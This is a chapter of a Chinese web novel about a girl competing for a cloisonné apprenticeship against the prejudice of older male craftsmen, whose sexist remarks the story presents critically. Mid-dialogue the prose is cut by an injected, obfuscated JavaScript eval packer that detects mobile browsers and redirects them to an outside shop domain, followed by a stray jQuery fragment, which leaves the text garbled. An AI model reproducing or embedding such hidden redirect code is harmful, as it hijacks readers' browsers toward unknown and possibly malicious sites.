6. 封建余毒
    饭后,陆青予就催着臭老九离开。

    苏远宸也不生气,拿起包拍拍裤子站了起来,不慌不忙往外走。

    “好了,我差不多也该去珐琅工坊采访了。”

    “你又要去采访?”陆青予不自觉就被他的话勾着跟他往外走。

    周素莲见状也跟了过来送行,三个人一前一后出了小院门。

    “是啊,这是文化馆组织的技术比赛,我总要两边儿都看看准备情况。”苏远宸理所当然地说,顺便踢开了自行车脚架,推着往巷口走。

    “那你看到他们准备的情况,能告诉我吗?”陆青予巴巴地瞅着臭老九高抬的下巴。

    苏远宸心情十分愉悦:“我告诉你这些,是不是不公平?他们也不会问你的准备情况吧。”

    “他们不问,是因为他们强大,看不起我。我要问,是因为我弱小,信息不对等。我需要知道更多东西,才能赢过他们。”陆青予赶快为自己辩解。

    “你不能要求一个乞丐和一个富翁比赛挣钱,还不给乞丐任何资金,这不是公平比赛。”

    这是今天第二次听到小姑娘发出超出自己认知的言论。

    苏远宸低头看了看她,脸蛋气鼓鼓的,像个充满气的气球。又觉得这些话不太像是一个幼稚的小姑娘说得出来的。

    “我觉得你没有看上去的弱小。”苏远宸笑笑。“上次你去谈判的时候,我觉得你嘴皮子挺厉害的。”

    “呵呵,我除了嘴皮子,一无所有,只有这样才能争取我的合法权益。”陆青予不以为意。“你愿意说就说,不说拉倒!”

    说完,陆青予扭头就走。

    “哎!青予,你不送送领导同志?”周素莲在身后喊她。

    “不去不去。”陆青予跑得更快了。

    周素莲只有跟上苏远宸的脚步,对他抱歉地说:“干部同志对不住啊,我家丫头以前也不是这样的。实在是外面、家里都欺负人,她不硬气一点,我们家都过不下去了。

    她爸爸死得早,家里有老人,还有妹妹,我也没有太多时间管教她。今天说话不周到的地方,我给您赔礼道歉。”

    “大婶,不用道歉,她没说什么坏话。相反,她说的话很有道理。”苏远宸心想,很多话,很多道理,居然是他一个大学生没有听过的。

    “真的吗?那就好,那就好。那我就不远送了,干部同志再见!”周素莲脸上堆满了笑容。

    苏远宸回头看了看蹦蹦跳跳远去的小姑娘的背影,跨上二八杠,骑远了。

    约莫半个小时,他就到了天和珐琅工坊。

    果然,里面的人并没把比赛当作一件大事来看,按部就班地做着自己的事。苏远宸见了彭城一面,拿到许可在里面晃悠。

    因为他对彭城说,自己是来收集资料作为工坊宣传用的。

    彭城想了想,也对。虽然看起来是宣传招工的比赛,更是珐琅工坊的一次重要亮相。据苏远宸说,北京的珐琅厂可是国内皆知的著名单位。自己这个南州市珐琅工坊,还差一大截。

    当苏远宸晃进掐丝车间的时候,李长生认出了他。他记得当初这个代表上级的年轻人。

    如果不是他的出现,姓陆的两爷孙根本不可能那么顺利地迫使彭城屈服,搞什么学徒比赛。简直浪费大家工作的时间,陪一个丫头玩儿。

    苏远宸也认出了他,一个表情严肃的白发老人,穿着宽松的蓝色短袖衫,手里拿着老花镜。

    “这位小同志,你又来作甚?”李长生不太客气。

    苏远宸不以为意,举起笔记本和笔:“我向彭经理汇报过了,来收集资料准备写一篇报道,宣传宣传我们工坊的景泰蓝。”

    “我们的景泰蓝是老祖宗传下来的好东西,是供给皇上、供给中央和外宾的,不需要做什么宣传。这些技术都是财富,是秘密。”李长生指了指大桌面上的图纸、铜制的瓶瓶罐罐、散落的铜丝。

    苏远宸捡起一张图纸,上面画着连绵不绝的花草图案,中间点缀着一只凤凰。

    草图已然精致,做出来的成品还不知道如何惊艳。

    “正因为他们是好东西,才更应该让老百姓都知道,都参与保护。李师傅,我们为之努力的事业,不就是要让这些曾经的皇室贡品,走进每个家庭里去吗?”苏远宸认真地对李长生解释道。

    “哼!你们这些外行懂什么,这景泰蓝工艺繁琐复杂,需要八道大工序、一百多道小工序才能完成。一件好贡品都是按月计算工期的,是所有手工制造品中最难、费时最长的。

    我们南州市自古以来就为皇室烧制贡品,成品精湛堪比京造。这些技术和作品都是我的师傅、师祖上百年创下的基业。怎么可能说给人就给人,想得真美。”

    李长生的胡子翘起老高。

    陆开明老爷子走了过来:“师弟,小点儿声!不要用你老掉牙的话,吓坏了我们的干部同志。”

    苏远宸无所谓地笑笑:“没关系陆师傅,李师傅告诉我南州市景泰蓝的历史呢!他的初衷是好的,希望保持良好的传承,不要把技术秘密随便给外人。”

    “对,我就是这个意思!”李长生连连点头。“所以我要选值得信赖的、有能力的年轻小伙子。

    你们非要让工坊招什么丫头片子。女人头发多见识短,好好嫁人,以后伺候好公婆,养好孩子才是正经事。学什么手艺,难道她们还要招女徒弟,代代相传?”

    哈哈哈哈。

    工坊里其他师傅一直竖着耳朵听,现在异口同声爆发出了大笑。

    “女人就该待在家里,跑出来抛头露脸真丢人。”

    “女人无才便是德,好好听父母男人的话才是好女孩。”

    “没听说古时候有什么女师傅,工坊只有男师傅,男人才是支持社会发展的。”

    “女人学点针线、洗衣服、做饭不就好了吗?学啥工艺,又不能带徒弟,难道带男徒弟?哈哈哈哈”

    “师傅说得对,男人负责养家糊口工作,女人负责生孩子养孩子做家务。分工合作多好,非要来凑什么热闹,抢我们的饭碗。这里哪是女人待的地方。”车间主任赖鑫也走过来补充。

    老爷子仰起头对他说:“赖主任,时代不一样了。女孩子都能读书,为什么不能做工?

    进工坊的小伙子就个个都是好的?我看有些小家伙的手艺,还不如我家丫头呢!还有,不管你们现在乐意不乐意,公开招学徒的比赛也改不了了,往前看吧!”

    老爷子才不管气得脸色忽红忽白的李长生师徒,乐呵呵地拉着苏远宸说:“干部同志,走,我带你参观参观。”

    苏远宸也不想在口舌上多做纠缠,有些人的观念一辈子都改不了。他巴不得离开,跟着老爷子到各车间转悠去了。

    在各处看到如此多精美的图纸和成品。苏远宸爱不释手地摸了又摸,拿起纸笔写写画画起来。

    老爷子一看:“哟,干部同志字写得真好看,还会画画呢!”

    “哎,只能画点简单的,更复杂的画不了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356089|140740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”苏远宸边画边说。“这些图案真奇妙,首尾相接,均匀流畅,连绵不绝。你孙女能画成这样吗?”

    “不能,因为我就不太会画。简单的可以,复杂的组合花纹就不行。”老爷子一脸哀怨。

    “我的师傅教我们的技术不一样,李长生擅长画图构思,我擅长掐丝烧蓝,还有个彭师兄擅长铜胎制作。我不太会,所以,我家丫头也没法学到更复杂的画技。”

    苏远宸指着图纸说:“不能把图纸带给她学吗?”

    “这可不行!这是工坊的图纸,都是有编号有数量的,我不能私自带回家去。我自己又没法仿画。”老爷子叹气。

    苏远宸心下了然:“陆师傅别急,我有办法帮你们。”

    说完,他从书包里摸出一个金属银色和黑色皮质拼出的一个方形盒子,上面长着一个圆圆的黑桶子。

    “这是什么?”老爷子好奇。

    “相机!”苏远宸勾起嘴角笑了笑。

    等到了周日上午,知了刚开始没完没了地叫,苏远宸骑着二八杠又来了陆家。

    这次一进门,他就受到了陆家上下的热烈欢迎。

    周素莲给他倒茶,陆红红给他打扇子,老爷子摸遍全身找出烟斗,请他尝尝。

    苏远宸一一拒绝了,老爷子的好意没处释放,带着红红上街给客人买西瓜。周素莲拿着肉票出门给客人割肉。

    留下陆青予皮笑肉不笑地问:“干部同志又来视察工作啦?”

    “对,看看你的学习情况如何。不要让文化馆出钱出力出人,轰轰烈烈地推荐你,最后你没考上,那就太丢脸了。”

    苏远宸还是一如既往地语重心长。“你要对得起我们沈主任和文化馆的领导们哦!”

    陆青予拿出自己的画纸,上面一大堆花花草草,形象逼真。“这是我这几天琢磨出来的花样子。”

    苏远宸摊开放在桌上:“画得挺好的啊!”

    “但是,他们都太写实了。做成景泰蓝就比较单调,不够抢眼。而且白描线条比较稀疏,这就意味着填色面积大。

    我研究过了,这珐琅彩颜料有限,不能实现复杂的晕染渐变的效果,也没法表现层次分明的明暗效果。”

    陆青予把下巴搁在桌面上,双手下垂,一点力气也提不起来。

    “可能要让你们失望了!这里的书店没有景泰蓝图案纹样的相关书籍,我没办法学到精髓,只能靠猜想。”

    晕染渐变和明暗效果虽然没听说过,但是听她的描述出来的画面应该是很美的。

    苏远宸尽量温和地问:“那你需要什么东西才能设计出好图呢?”

    陆青予把脸放在桌上,斜着眼睛看他:“不管你相不相信,我确实很能画画,人物、花鸟、建筑都不在话下。但我画的东西和景泰蓝图纸不一样。

    我需要多看看景泰蓝的花纹变化和组合方式,图纸或者实物都可以。如果知道他们常用的花纹和图案变形的套路,我就能模仿出来。”

    苏远宸笑了笑:“我明白了,我有你想要的东西。”

    “真的?”陆青予如同青蛙一样弹了起来,脸上还粘着一张图纸。

    她慌忙把纸从脸上拿下来,眼神灼灼地望着苏远宸。

    “嗯,真的。”苏远宸看见她这副模样,愉悦地笑了。

    他的笑容好像夏日的清风,但是他的话像厕所的石头。

    因为他抬着下巴说:“你求我啊!”

    陆青予:爹了个巴子!臭老九!